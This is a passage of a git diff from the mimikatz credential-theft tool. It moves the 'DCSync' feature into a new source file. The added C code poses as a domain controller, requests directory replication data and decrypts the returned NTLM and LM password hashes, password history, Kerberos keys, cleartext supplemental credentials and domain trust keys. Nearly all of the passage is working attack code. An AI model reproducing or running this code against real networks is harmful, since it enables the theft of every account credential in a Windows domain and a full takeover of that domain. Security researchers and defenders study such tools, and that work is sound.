9, szGuid); - uGuid.Buffer[(uGuid.Length >> 1) - 1] = L'}'; - if(NT_SUCCESS(RtlGUIDFromString(&uGuid, &guid))) - kuhl_m_lsadump_analyzeKey(&guid, (PKIWI_BACKUP_KEY) data, size, someExport); - LocalFree(uGuid.Buffer); - } - } - } - else kull_m_string_wprintf_hex(data, size, 1 | (16 << 16)); - } - LocalFree(name); - } - } -} NETLOGON_SECURE_CHANNEL_TYPE kuhl_m_lsadump_netsync_sc[] = {WorkstationSecureChannel, ServerSecureChannel, TrustedDnsDomainSecureChannel, CdcServerSecureChannel}; NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[]) diff --git a/mimikatz/modules/kuhl_m_lsadump.h b/mimikatz/modules/kuhl_m_lsadump.h index 7654c34cf..88fcc50f9 100644 --- a/mimikatz/modules/kuhl_m_lsadump.h +++ b/mimikatz/modules/kuhl_m_lsadump.h @@ -15,7 +15,7 @@ #include "../modules/kull_m_string.h" #include "../modules/kull_m_samlib.h" #include "../modules/kull_m_net.h" -#include "../modules/rpc/kull_m_rpc_drsr.h" +#include "lsadump/kuhl_m_lsadump_dc.h" #include "kuhl_m_lsadump_remote.h" #include "kuhl_m_crypto.h" #include "dpapi/kuhl_m_dpapi_oe.h" @@ -51,27 +51,6 @@ typedef struct _NTDS_LSA_AUTH_INFORMATIONS { // ... } NTDS_LSA_AUTH_INFORMATIONS, *PNTDS_LSA_AUTH_INFORMATIONS; -#pragma pack(push, 1) -typedef struct _USER_PROPERTY { - USHORT NameLength; - USHORT ValueLength; - USHORT Reserved; - wchar_t PropertyName[ANYSIZE_ARRAY]; - // PropertyValue in HEX ! -} USER_PROPERTY, *PUSER_PROPERTY; - -typedef struct _USER_PROPERTIES { - DWORD Reserved1; - DWORD Length; - USHORT Reserved2; - USHORT Reserved3; - BYTE Reserved4[96]; - wchar_t PropertySignature; - USHORT PropertyCount; - USER_PROPERTY UserProperties[ANYSIZE_ARRAY]; -} USER_PROPERTIES, *PUSER_PROPERTIES; -#pragma pack(pop) - const KUHL_M kuhl_m_lsadump; NTSTATUS kuhl_m_lsadump_init(); @@ -84,7 +63,6 @@ NTSTATUS kuhl_m_lsadump_trust(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsOrCache); NTSTATUS kuhl_m_lsadump_bkey(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_rpdata(int argc, wchar_t * argv[]); -NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_setntlm(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_changentlm(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[]); @@ -443,15 +421,6 @@ PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, U PKERB_KEY_DATA_NEW kuhl_m_lsadump_lsa_keyDataNewInfo(PVOID base, PKERB_KEY_DATA_NEW keys, USHORT Count, PCWSTR title); void kuhl_m_lsadump_lsa_DescrBuffer(DWORD type, DWORD rid, PVOID Buffer, DWORD BufferSize); -BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, LPCWSTR prefix, BOOL isHistory); -void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport); -void kuhl_m_lsadump_dcsync_descrUser(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes); -void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties); -void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain); -void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn); -void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport); -void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes); - typedef wchar_t * LOGONSRV_HANDLE; typedef struct _NETLOGON_CREDENTIAL { CHAR data[8]; diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c new file mode 100644 index 000000000..d61fb8921 --- /dev/null +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c @@ -0,0 +1,572 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + + Vincent LE TOUX + http://pingcastle.com / http://mysmartlogon.com + vincent.letoux@gmail.com + + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kuhl_m_lsadump_dc.h" + +LPCSTR kuhl_m_lsadump_dcsync_oids[] = { + szOID_ANSI_name, + szOID_ANSI_sAMAccountName, szOID_ANSI_userPrincipalName, szOID_ANSI_sAMAccountType, + szOID_ANSI_userAccountControl, szOID_ANSI_accountExpires, szOID_ANSI_pwdLastSet, + szOID_ANSI_objectSid, szOID_ANSI_sIDHistory, + szOID_ANSI_unicodePwd, szOID_ANSI_ntPwdHistory, szOID_ANSI_dBCSPwd, szOID_ANSI_lmPwdHistory, szOID_ANSI_supplementalCredentials, + szOID_ANSI_trustPartner, szOID_ANSI_trustAuthIncoming, szOID_ANSI_trustAuthOutgoing, + szOID_ANSI_currentValue, +}; +LPCSTR kuhl_m_lsadump_dcsync_oids_export[] = { + szOID_ANSI_name, + szOID_ANSI_sAMAccountName, szOID_ANSI_objectSid, + szOID_ANSI_unicodePwd +}; +NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]) +{ + LSA_OBJECT_ATTRIBUTES objectAttributes = {0}; + PPOLICY_DNS_DOMAIN_INFO pPolicyDnsDomainInfo = NULL; + RPC_BINDING_HANDLE hBinding; + DRS_HANDLE hDrs = NULL; + DSNAME dsName = {0}; + DRS_MSG_GETCHGREQ getChReq = {0}; + DWORD dwOutVersion = 0, i; + DRS_MSG_GETCHGREPLY getChRep; + ULONG drsStatus; + LPCWSTR szUser = NULL, szGuid = NULL, szDomain = NULL, szDc = NULL, szService; + LPWSTR szTmpDc = NULL; + DRS_EXTENSIONS_INT DrsExtensionsInt; + BOOL someExport = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL), allData = kull_m_string_args_byName(argc, argv, L"all", NULL, NULL), csvOutput = kull_m_string_args_byName(argc, argv, L"csv", NULL, NULL); + + if(!kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) + if(kull_m_net_getCurrentDomainInfo(&pPolicyDnsDomainInfo)) + szDomain = pPolicyDnsDomainInfo->DnsDomainName.Buffer; + + if(szDomain && wcschr(szDomain, L'.')) + { + kprintf(L"[DC] \'%s\' will be the domain\n", szDomain); + if(!(kull_m_string_args_byName(argc, argv, L"dc", &szDc, NULL) || kull_m_string_args_byName(argc, argv, L"kdc", &szDc, NULL))) + if(kull_m_net_getDC(szDomain, DS_DIRECTORY_SERVICE_REQUIRED, &szTmpDc)) + szDc = szTmpDc; + + if(szDc) + { + kprintf(L"[DC] \'%s\' will be the DC server\n", szDc); + if(allData || kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) + { + if(allData) + kprintf(L"[DC] Exporting domain \'%s\'\n", szDomain); + else if(szGuid) + kprintf(L"[DC] Object with GUID \'%s\'\n", szGuid); + else + kprintf(L"[DC] \'%s\' will be the user account\n", szUser); + + kull_m_string_args_byName(argc, argv, L"altservice", &szService, L"ldap"); + if(kull_m_rpc_createBinding(NULL, L"ncacn_ip_tcp", szDc, NULL, szService, TRUE, (MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, NULL, RPC_C_IMP_LEVEL_DEFAULT, &hBinding, kull_m_rpc_drsr_RpcSecurityCallback)) + { + if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid, &DrsExtensionsInt)) + { + if(DrsExtensionsInt.dwReplEpoch) + kprintf(L"[DC] ms-DS-ReplicationEpoch is: %u\n", DrsExtensionsInt.dwReplEpoch); + if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs, &DrsExtensionsInt)) + { + getChReq.V8.pNC = &dsName; + getChReq.V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT; + getChReq.V8.cMaxObjects = (allData ? 1000 : 1); + getChReq.V8.cMaxBytes = 0x00a00000; // 10M + getChReq.V8.ulExtendedOp = (allData ? 0 : EXOP_REPL_OBJ); + + if(getChReq.V8.pPartialAttrSet = (PARTIAL_ATTR_VECTOR_V1_EXT *) MIDL_user_allocate(sizeof(PARTIAL_ATTR_VECTOR_V1_EXT) + sizeof(ATTRTYP) * ((allData ? ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export) : ARRAYSIZE(kuhl_m_lsadump_dcsync_oids)) - 1))) + { + getChReq.V8.pPartialAttrSet->dwVersion = 1; + getChReq.V8.pPartialAttrSet->dwReserved1 = 0; + if (allData) + { + getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export); + for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++) + kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids_export[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE); + } + else + { + getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids); + for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++) + kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE); + } + RpcTryExcept + { + do + { + RtlZeroMemory(&getChRep, sizeof(DRS_MSG_GETCHGREPLY)); + drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep); + if(drsStatus == 0) + { + if(dwOutVersion == 6 && (allData || getChRep.V6.cNumObjects == 1)) + { + if(kull_m_rpc_drsr_ProcessGetNCChangesReply(&getChRep.V6.PrefixTableSrc, getChRep.V6.pObjects)) + { + REPLENTINFLIST* pObject = getChRep.V6.pObjects; + for (i = 0; i < getChRep.V6.cNumObjects; i++) + { + if (csvOutput) + kuhl_m_lsadump_dcsync_descrObject_csv(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock); + else + kuhl_m_lsadump_dcsync_descrObject(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock, szDomain, someExport); + pObject = pObject->pNextEntInf; + } + } + else + { + PRINT_ERROR(L"kull_m_rpc_drsr_ProcessGetNCChangesReply\n"); + break; + } + if(allData) + { + RtlCopyMemory(&getChReq.V8.uuidInvocIdSrc, &getChRep.V6.uuidInvocIdSrc, sizeof(UUID)); + RtlCopyMemory(&getChReq.V8.usnvecFrom, &getChRep.V6.usnvecTo, sizeof(USN_VECTOR)); + } + } + else PRINT_ERROR(L"DRSGetNCChanges, invalid dwOutVersion (%u) and/or cNumObjects (%u)\n", dwOutVersion, getChRep.V6.cNumObjects); + kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data(dwOutVersion, &getChRep); + + } + else PRINT_ERROR(L"GetNCChanges: 0x%08x (%u)\n", drsStatus, drsStatus); + } + while(getChRep.V6.fMoreData); + IDL_DRSUnbind(&hDrs); + } + RpcExcept(RPC_EXCEPTION) + PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); + RpcEndExcept + + kull_m_rpc_drsr_free_SCHEMA_PREFIX_TABLE_data(&getChReq.V8.PrefixTableDest); + MIDL_user_free(getChReq.V8.pPartialAttrSet); + } + } + } + kull_m_rpc_deleteBinding(&hBinding); + } + } + else PRINT_ERROR(L"Missing user or guid argument\n"); + } + else PRINT_ERROR(L"Domain Controller not present\n"); + } + else PRINT_ERROR(L"Domain not present, or doesn\'t look like a FQDN\n"); + + if(szTmpDc) + LocalFree(szTmpDc); + if(pPolicyDnsDomainInfo) + LsaFreeMemory(pPolicyDnsDomainInfo); + + return STATUS_SUCCESS; +} + +BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, LPCWSTR prefix, BOOL isHistory) +{ + DWORD i; + BOOL status = FALSE; + BYTE data[LM_NTLM_HASH_LENGTH]; + for(i = 0; i < encodedDataSize; i+= LM_NTLM_HASH_LENGTH) + { + status = NT_SUCCESS(RtlDecryptDES2blocks1DWORD(encodedData + i, &rid, data)); + if(status) + { + if(isHistory) + kprintf(L" %s-%2u: ", prefix, i / LM_NTLM_HASH_LENGTH); + else + kprintf(L" Hash %s: ", prefix); + kull_m_string_wprintf_hex(data, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n"); + } + else PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD"); + } + return status; +} + +void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes) +{ + DWORD rid = 0; + PBYTE unicodePwd; + DWORD unicodePwdSize; + PVOID sid; + BYTE clearHash[LM_NTLM_HASH_LENGTH]; + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, NULL, NULL) && + kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &sid, NULL) && + kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &unicodePwd, &unicodePwdSize)) + { + rid = *GetSidSubAuthority(sid, *GetSidSubAuthorityCount(sid) - 1); + kprintf(L"%u\t", rid); + kull_m_rpc_drsr_findPrintMonoAttr(NULL, prefixTable, attributes, szOID_ANSI_sAMAccountName, FALSE); + kprintf(L"\t"); + if(NT_SUCCESS(RtlDecryptDES2blocks1DWORD(unicodePwd, &rid, clearHash))) + kull_m_string_wprintf_hex(clearHash, LM_NTLM_HASH_LENGTH, 0); + else PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD"); + kprintf(L"\n"); + } +} + +void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport) +{ + kull_m_rpc_drsr_findPrintMonoAttr(L"\nObject RDN : ", prefixTable, attributes, szOID_ANSI_name, TRUE); + kprintf(L"\n"); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, NULL, NULL)) + kuhl_m_lsadump_dcsync_descrUser(prefixTable, attributes); + else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_trustPartner, NULL, NULL)) + kuhl_m_lsadump_dcsync_descrTrust(prefixTable, attributes, szSrcDomain); + else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_currentValue, NULL, NULL)) + kuhl_m_lsadump_dcsync_descrSecret(prefixTable, attributes, someExport); +} + +const wchar_t * KUHL_M_LSADUMP_UF_FLAG[] = { + L"SCRIPT", L"ACCOUNTDISABLE", L"0x4 ?", L"HOMEDIR_REQUIRED", L"LOCKOUT", L"PASSWD_NOTREQD", L"PASSWD_CANT_CHANGE", L"ENCRYPTED_TEXT_PASSWORD_ALLOWED", + L"TEMP_DUPLICATE_ACCOUNT", L"NORMAL_ACCOUNT", L"0x400 ?", L"INTERDOMAIN_TRUST_ACCOUNT", L"WORKSTATION_TRUST_ACCOUNT", L"SERVER_TRUST_ACCOUNT", L"0x4000 ?", L"0x8000 ?", + L"DONT_EXPIRE_PASSWD", L"MNS_LOGON_ACCOUNT", L"SMARTCARD_REQUIRED", L"TRUSTED_FOR_DELEGATION", L"NOT_DELEGATED", L"USE_DES_KEY_ONLY", L"DONT_REQUIRE_PREAUTH", L"PASSWORD_EXPIRED", + L"TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION", L"NO_AUTH_DATA_REQUIRED", L"PARTIAL_SECRETS_ACCOUNT", L"USE_AES_KEYS", L"0x10000000 ?", L"0x20000000 ?", L"0x40000000 ?", L"0x80000000 ?", +}; + +LPCWSTR kuhl_m_lsadump_samAccountType_toString(DWORD accountType) +{ + LPCWSTR target; + switch(accountType) + { + case SAM_DOMAIN_OBJECT: + target = L"DOMAIN_OBJECT"; + break; + case SAM_GROUP_OBJECT: + target = L"GROUP_OBJECT"; + break; + case SAM_NON_SECURITY_GROUP_OBJECT: + target = L"NON_SECURITY_GROUP_OBJECT"; + break; + case SAM_ALIAS_OBJECT: + target = L"ALIAS_OBJECT"; + break; + case SAM_NON_SECURITY_ALIAS_OBJECT: + target = L"NON_SECURITY_ALIAS_OBJECT"; + break; + case SAM_USER_OBJECT: + target = L"USER_OBJECT"; + break; + case SAM_MACHINE_ACCOUNT: + target = L"MACHINE_ACCOUNT"; + break; + case SAM_TRUST_ACCOUNT: + target = L"TRUST_ACCOUNT"; + break; + case SAM_APP_BASIC_GROUP: + target = L"APP_BASIC_GROUP"; + break; + case SAM_APP_QUERY_GROUP: + target = L"APP_QUERY_GROUP"; + break; + default: + target = L"unknown"; + } + return target; +} + +void kuhl_m_lsadump_dcsync_descrUser(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes) +{ + DWORD rid = 0, i; + PBYTE encodedData; + DWORD encodedDataSize; + PVOID data; + ATTRVALBLOCK *sids; + + kprintf(L"** SAM ACCOUNT **\n\n"); + kull_m_rpc_drsr_findPrintMonoAttr(L"SAM Username : ", prefixTable, attributes, szOID_ANSI_sAMAccountName, TRUE); + kull_m_rpc_drsr_findPrintMonoAttr(L"User Principal Name : ", prefixTable, attributes, szOID_ANSI_userPrincipalName, TRUE); + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountType, &data, NULL)) + kprintf(L"Account Type : %08x ( %s )\n", *(PDWORD) data, kuhl_m_lsadump_samAccountType_toString(*(PDWORD) data)); + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_userAccountControl, &data, NULL)) + { + kprintf(L"User Account Control : %08x ( ", *(PDWORD) data); + for(i = 0; i < min(ARRAYSIZE(KUHL_M_LSADUMP_UF_FLAG), sizeof(DWORD) * 8); i++) + if((1 << i) & *(PDWORD) data) + kprintf(L"%s ", KUHL_M_LSADUMP_UF_FLAG[i]); + kprintf(L")\n"); + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_accountExpires, &data, NULL)) + { + kprintf(L"Account expiration : "); + kull_m_string_displayLocalFileTime((LPFILETIME) data); + kprintf(L"\n"); + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_pwdLastSet, &data, NULL)) + { + kprintf(L"Password last change : "); + kull_m_string_displayLocalFileTime((LPFILETIME) data); + kprintf(L"\n"); + } + + if(sids = kull_m_rpc_drsr_findAttr(prefixTable, attributes, szOID_ANSI_sIDHistory)) + { + kprintf(L"SID history:\n"); + for(i = 0; i < sids->valCount; i++) + { + kprintf(L" "); + kull_m_string_displaySID(sids->pAVal[i].pVal); + kprintf(L"\n"); + } + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &data, NULL)) + { + kprintf(L"Object Security ID : "); + kull_m_string_displaySID(data); + kprintf(L"\n"); + rid = *GetSidSubAuthority(data, *GetSidSubAuthorityCount(data) - 1); + kprintf(L"Object Relative ID : %u\n", rid); + + kprintf(L"\nCredentials:\n"); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &encodedData, &encodedDataSize)) + kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"NTLM", FALSE); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_ntPwdHistory, &encodedData, &encodedDataSize)) + kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"ntlm", TRUE); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_dBCSPwd, &encodedData, &encodedDataSize)) + kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"LM ", FALSE); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_lmPwdHistory, &encodedData, &encodedDataSize)) + kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"lm ", TRUE); + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_supplementalCredentials, &encodedData, &encodedDataSize)) + { + kprintf(L"\nSupplemental Credentials:\n"); + kuhl_m_lsadump_dcsync_descrUserProperties((PUSER_PROPERTIES) encodedData); + } +} + +DECLARE_CONST_UNICODE_STRING(PrimaryCleartext, L"Primary:CLEARTEXT"); +DECLARE_CONST_UNICODE_STRING(PrimaryWDigest, L"Primary:WDigest"); +DECLARE_CONST_UNICODE_STRING(PrimaryKerberos, L"Primary:Kerberos"); +DECLARE_CONST_UNICODE_STRING(PrimaryKerberosNew, L"Primary:Kerberos-Newer-Keys"); +DECLARE_CONST_UNICODE_STRING(PrimaryNtlmStrongNTOWF, L"Primary:NTLM-Strong-NTOWF"); +DECLARE_CONST_UNICODE_STRING(Packages, L"Packages"); +void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties) +{ + DWORD i, j, k, szData; + PUSER_PROPERTY property; + PBYTE data; + UNICODE_STRING Name; + LPSTR value; + + PWDIGEST_CREDENTIALS pWDigest; + PKERB_STORED_CREDENTIAL pKerb; + PKERB_KEY_DATA pKeyData; + PKERB_STORED_CREDENTIAL_NEW pKerbNew; + PKERB_KEY_DATA_NEW pKeyDataNew; + + if(properties->Length > (FIELD_OFFSET(USER_PROPERTIES, PropertyCount) - FIELD_OFFSET(USER_PROPERTIES, Reserved4))) + { + if((properties->PropertySignature == L'P') && properties->PropertyCount) + { + for(i = 0, property = properties->UserProperties; i < properties->PropertyCount; i++, property = (PUSER_PROPERTY) ((PBYTE) property + FIELD_OFFSET(USER_PROPERTY, PropertyName) + property->NameLength + property->ValueLength)) + { + Name.Length = Name.MaximumLength = property->NameLength; + Name.Buffer = property->PropertyName; + + value = (LPSTR) ((LPCBYTE) property->PropertyName + property->NameLength); + szData = property->ValueLength / 2; + + kprintf(L"* %wZ *\n", &Name); + if(data = (PBYTE) LocalAlloc(LPTR, szData)) + { + for(j = 0; j < szData; j++) + { + sscanf_s(&value[j*2], "%02x", &k); + data[j] = (BYTE) k; + } + + if(RtlEqualUnicodeString(&PrimaryCleartext, &Name, TRUE) || RtlEqualUnicodeString(&Packages, &Name, TRUE)) + { + kprintf(L" %.*s\n", szData / sizeof(wchar_t), (PWSTR) data); + } + else if(RtlEqualUnicodeString(&PrimaryWDigest, &Name, TRUE)) + { + pWDigest = (PWDIGEST_CREDENTIALS) data; + for(j = 0; j < pWDigest->NumberOfHashes; j++) + { + kprintf(L" %02u ", j + 1); + kull_m_string_wprintf_hex(pWDigest->Hash[j], MD5_DIGEST_LENGTH, 0); + kprintf(L"\n"); + } + } + else if(RtlEqualUnicodeString(&PrimaryKerberos, &Name, TRUE)) + { + pKerb = (PKERB_STORED_CREDENTIAL) data; + kprintf(L" Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerb + pKerb->DefaultSaltOffset)); + pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL)); + pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials"); + kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials"); + } + else if(RtlEqualUnicodeString(&PrimaryKerberosNew, &Name, TRUE)) + { + pKerbNew = (PKERB_STORED_CREDENTIAL_NEW) data; + kprintf(L" Default Salt : %.*s\n Default Iterations : %u\n", pKerbNew->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerbNew + pKerbNew->DefaultSaltOffset), pKerbNew->DefaultIterationCount); + pKeyDataNew = (PKERB_KEY_DATA_NEW) ((PBYTE) pKerbNew + sizeof(KERB_STORED_CREDENTIAL_NEW)); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->CredentialCount, L"Credentials"); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->ServiceCredentialCount, L"ServiceCredentials"); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials"); + kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials"); + } + else if(RtlEqualUnicodeString(&PrimaryNtlmStrongNTOWF, &Name, TRUE)) + { + kprintf(L" Random Value : "); + kull_m_string_wprintf_hex(data, szData, 0); + kprintf(L"\n"); + } + else + { + kprintf(L" Unknown data : "); + kull_m_string_wprintf_hex(data, szData, 1); + kprintf(L"\n"); + } + kprintf(L"\n"); + LocalFree(data); + } + } + } + } +} + +void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain) +{ + PBYTE encodedData; + DWORD encodedDataSize; + UNICODE_STRING uPartner, uDomain, uUpcasePartner, uUpcaseDomain; + + kprintf(L"** TRUSTED DOMAIN - Antisocial **\n\n"); + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_trustPartner, &encodedData, &encodedDataSize)) + { + uPartner.Length = uPartner.MaximumLength = (USHORT) encodedDataSize; + uPartner.Buffer = (PWSTR) encodedData; + kprintf(L"Partner : %wZ\n", &uPartner); + if(NT_SUCCESS(RtlUpcaseUnicodeString(&uUpcasePartner, &uPartner, TRUE))) + { + RtlInitUnicodeString(&uDomain, szSrcDomain); + if(NT_SUCCESS(RtlUpcaseUnicodeString(&uUpcaseDomain, &uDomain, TRUE))) + { + kuhl_m_lsadump_dcsync_descrTrustAuthentication(prefixTable, attributes, &uUpcaseDomain, &uUpcasePartner, TRUE); + kuhl_m_lsadump_dcsync_descrTrustAuthentication(prefixTable, attributes, &uUpcaseDomain, &uUpcasePartner, FALSE); + RtlFreeUnicodeString(&uUpcaseDomain); + } + RtlFreeUnicodeString(&uUpcasePartner); + } + } +} + +void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn) +{ + PBYTE encodedData; + DWORD encodedDataSize; + PNTDS_LSA_AUTH_INFORMATIONS authInfos; + LPCWSTR prefix, prefixOld; + PCUNICODE_STRING from, dest; + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, isIn ? szOID_ANSI_trustAuthIncoming : szOID_ANSI_trustAuthOutgoing, &encodedData, &encodedDataSize)) + { + if(isIn) + { + prefix = L" In "; + prefixOld = L" In-1"; + from = domain; + dest = partner; + } + else + { + prefix = L" Out "; + prefixOld = L"Out-1"; + from = partner; + dest = domain; + } + authInfos = (PNTDS_LSA_AUTH_INFORMATIONS) encodedData; + if(authInfos->count) + { + if(authInfos->offsetToAuthenticationInformation) + kuhl_m_lsadump_trust_authinformation(NULL, 0, (PNTDS_LSA_AUTH_INFORMATION) ((PBYTE) authInfos + FIELD_OFFSET(NTDS_LSA_AUTH_INFORMATIONS, count) + authInfos->offsetToAuthenticationInformation), prefix, from, dest); + if(authInfos->offsetToPreviousAuthenticationInformation) + kuhl_m_lsadump_trust_authinformation(NULL, 0, (PNTDS_LSA_AUTH_INFORMATION) ((PBYTE) authInfos + FIELD_OFFSET(NTDS_LSA_AUTH_INFORMATIONS, count) + authInfos->offsetToPreviousAuthenticationInformation), prefixOld, from, dest); + } + } +} + +void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport) +{ + PVOID data; + PWSTR name, ptr; + DWORD size; + USHORT szGuid; + GUID guid; + UNICODE_STRING uGuid; + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_name, &data, &size)) + { + if(name = (PWSTR) LocalAlloc(LPTR, size + sizeof(wchar_t))) + { + RtlCopyMemory(name, data, size); + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_currentValue, &data, &size)) + { + if(name == wcsstr(name, L"BCKUPKEY_")) + { + if(((_wcsicmp(name, L"BCKUPKEY_P Secret") == 0) || (_wcsicmp(name, L"BCKUPKEY_PREFERRED Secret") == 0)) && (size = sizeof(GUID))) + { + kprintf(L"Link to key with GUID: "); + 